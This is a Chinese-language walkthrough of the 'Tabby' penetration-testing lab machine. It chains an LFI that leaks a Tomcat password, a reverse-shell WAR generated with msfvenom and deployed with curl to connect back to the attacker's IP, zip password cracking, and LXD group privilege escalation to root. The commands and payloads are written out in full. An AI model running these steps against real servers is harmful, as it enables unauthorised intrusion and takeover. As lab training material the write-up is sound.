Tabby-Writeup

概述 (Overview)

83645820.png

时间: 2021-07-10
机器作者: egre55
困难程度: easy
描述: 考察对LFI的利用及Tomcat的脆弱面,利用服务器上现有的风险服务进行最终的权限提升。
Flags: User: <md5>, Root: <md5>
MACHINE TAGS

  • Web
  • Bash
  • Account Misconfiguration
  • Sandbox Escape

攻击链 (Kiillchain)

通过 Nmap 识别出端口上运行的 HTTP服务,并通过 LFI 漏洞读取 Tomcat 管理账号的密码。利用该账号的 manager-script 角色进行应用部署,并获取反弹shell。在目标服务器上进行深入的信息收集,利用爆破压缩包得到密码成功横移到 ash 用户。
最后通过账号所属的 lxd 组成员利用 LXD 的功能来提升 root 权限。

枚举(Enumeration)

老规矩开局还是使用 Nmap 对目标进行端口扫描,识别开放服务:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

开发的端口较少但均是HTTP服务,直接使用浏览器查看下:

39418455.png
查看页面页面源代码,发现导航栏中的链接存在域名,先在 hosts 中将域名和IP关联上,随后进行目录枚举:
39470474.png

$ python3 dirsearch.py -u http://megahosting.htb/files -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e php -r

40745820.png

立足点(Foothold)

期间发现链接的请求路径参数 ?file= 存在可疑,尝试测试 lfi 漏洞。同时查看 8080 端口上的服务,运行的是 Tomcat 服务,尝试枚举爆破登录 /manager

40782386.png

$ hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.10.194:8080/manager/html

用 hydra 跑字典的同时,使用 wfuzz 配合字典来进行测试:

$ wfuzz -c --hw 0 -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt http://megahosting.htb/news.php\?file=FUZZ

这里为了减少显示添加 -hw 参数进行过滤,过滤返回Body里没有内容请求(其他参数见最后):

51469501.png

从结果中可以看到明显的一个 lfi 漏洞,用它读取下 news.php 源码看下漏洞是如何产生的:

53810484.png

在查看 8080 运行的 tomcat 时,知道是存在 /manager/ 管理页面的,而登录密码是存储在 tomcat-users.xml 文件中的,所以要想办法读取到该文件。

根据页面上获悉到版本为 9,组合成关键字去找路径,因为我尝试了默认的常见路径发现无法读取到。

56796893.png

成功在 path: /usr/share/tomcat9/etc/tomcat-users.xml 中找到了 tomcat 密码:

<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

访问:

  • /manager/html 状态 403 无权查看 - 管理器
  • /host-manager/html/ 状态 200 正常 - 主机管理器

注意到管理器页面无权限访问,以前我也是只遇到过 /manager/html 的 getshell 方式,只需要上传 .war 就行。首先了解下 host-manager,它是虚拟主机管理,从 tomcat-users.xml 中看到 tomcat 用户具备 admin-gui (拥有html页面权限)、manager-script (拥有text接口的权限,和status权限)。

这个页面中是不存在上传表单的, 尝试任意填写内容会提示失败:

57176919.png

卡了挺久没找到利用点,最后还是通过 google 搜索找到了该处的利用方式:

58904763.png

https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/

利用方式为创建一个指向我控制的 SMB 服务器(smbserver.py)的 UNC 路径

首先使用 smbserver.py 在kali上起一个服务,随后在页面表单中构造我们的地址:
64603183.png

但经过尝试后依然报错:

64659105.png

这里卡住我挺长时间的,最后还是在页面上找到了帮助信息:

66380013.png

请注意,从 Tomcat 7 开始,使用管理器应用程序所需的角色已从单一管理器角色更改为以下四个角色。 您需要为要访问的功能分配所需的角色。

manager-gui - 允许访问 HTML GUI 和状态页面
manager-script - 允许访问文本界面和状态页面
manager-jmx - 允许访问 JMX 代理和状态页面
manager-status - 只允许访问状态页面

还记得 tomcat 的 manager-script 角色吗? 可通过http请求来进行管理操作。在 google: tomcat manager-script exploit 中找到了帮助内容:

https://book.hacktricks.xyz/pentesting/pentesting-web/tomcat

66740221.png

tomcat7 and above uses /manager/text/undeploy and /manager/text/deploy paths
翻译: tomcat7 及以上使用 /manager/text/undeploy 和 /manager/text/deploy 路径

首先使用 msfvenom 生成反弹shell的 .war 文件:$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.15 LPORT=9900 -f war -o shell.war

随后使用 curl 进行文件上传操作(我个人比较喜欢使用httpie):

$ curl -v -u tomcat:"\$3cureP4s5w0rd123\!"  --upload-file shell.war "http://megahosting.htb:8080/manager/text/deploy?path=/shell"

$ http -v --auth-type basic --auth tomcat:"\$3cureP4s5w0rd123\!" PUT "http://megahosting.htb:8080/manager/text/deploy?path=/shell2" @shell.war

72551269.png

上传成功后访问对应的路径,成功获得到一个反弹shell:

72844428.png

横向移动(Lateral Movement)

通过之前对文件的 LFI 利用成功知道存在一个 ash 用户,所以先通过 find 搜索一下,发现有一个 ash 用户的 16162020_backup.zip 文件:

73701890.png
发现目标服务器上有 ftp 命令,就用它来文件传递的将备份文件传递到kali:
73786208.png

当然在目标服务器上 cp 然后使用 wget 去下也是一样的。

在解压压缩文件时提示需要密码,但在目标服务器上搜了一圈并没有发现有可疑的信息。一看服务器信息 Ubuntu 20.04,内核也很高内核提权也不行。无奈…

去了趟WC让脑子降降温,回来换个思路尝试对压缩文件进行密码爆破。使用 zip2john 配合字典尝试:

75636693.png

成功到的压缩文件密码:admin@it,使用该密码成功从 tomcat 用户横移至 ash 用户:

75924871.png

权限提升(Privilege Escalation)

随后在使用 linPEAS 进行深度分析,发现 root 身份运行的 lxd 进程信息:

77239465.png
并且当前的 ash 用户具备 lxd 组:
77268105.png

LXD是提供了RESTAPI的LXC 容器管理器,主要是管理linux容器的第三方管理器。

根据这一特征继续查找利用方式:

77611574.png

通过,https://www.hackingarticles.in/lxd-privilege-escalation/ 了解到:

本地“lxd”组的成员可以立即将权限提升到主机操作系统上的 root。这与该用户是否已被授予 sudo 权限并且不需要他们输入密码。即使使用 LXD snap 包,该漏洞也存在。

LXD 和 LXC 简介
Linux Container (LXC) 通常被认为是一种介于 chroot 和完全开发的虚拟机之间的轻量级虚拟化技术,它创建了一个尽可能接近 Linux 安装的环境,但不需要单独的内核。
Linux 守护进程 (LXD) 是更轻的管理程序,或轻量级容器管理程序。LXD 建立在一种称为 LXC 的容器技术之上,该技术以前被 Docker 使用过。它使用稳定的 LXC API 在幕后进行所有容器管理,在顶部添加 REST API 并提供更简单、更一致的用户体验。

通过 whereis 确认下 lxd 命令的相关路径,开始提权:

78756770.png

但是在按照文章内容对 https://github.com/saghul/lxd-alpine-builder.git 下载并编译后,镜像包无法在目标服务器上进行导入:

81428775.png

经过多次尝试最终定位到是 ./build-alpine 运行后,远程拉取的 iso 版本有问题,与目标系统不一致且版本较高,修改脚本中的 $apk_archlatest-releases.yaml 对应的 .iso 地址,编译成新的镜像包导入成功:
82723607.png
随后按照文中运行 $ lxc exec ignite /bin/sh 成功完成提权:
83685414.png


--hc: 不输出状态码等于你设置的状态码的响应包(比如设置为200,那就不会输出状态码等于200的包)
--hl: 不输出行数等于你设置的行数的响应包
--hw: 不输出字数等于你设置的字数的响应包
--hh: 不输出字符数等于你设置的字符数的响应包
--hs: 不输出响应包中包含你输入的字符串的响应包
--sc: 输出状态码等于你设置的状态码的响应包
--sl: 输出行数等于你设置的行数的响应包
--sw: 输出字数等于你设置的字数的响应包
--sh: 输出字符数等于你设置的字符数的响应包
--ss: 输出响应包中包含你输入的字符串的响应包

Tomcat权限分为:
manager(后台管理)
- manager-gui 拥有html页面权限
- manager-status 拥有查看status的权限
- manager-script 拥有text接口的权限,和status权限
- manager-jmx 拥有jmx权限,和status权限

host-manager(虚拟主机管理)
- admin-gui 拥有html页面权限
- admin-script 拥有text接口权限

41258100.png

参考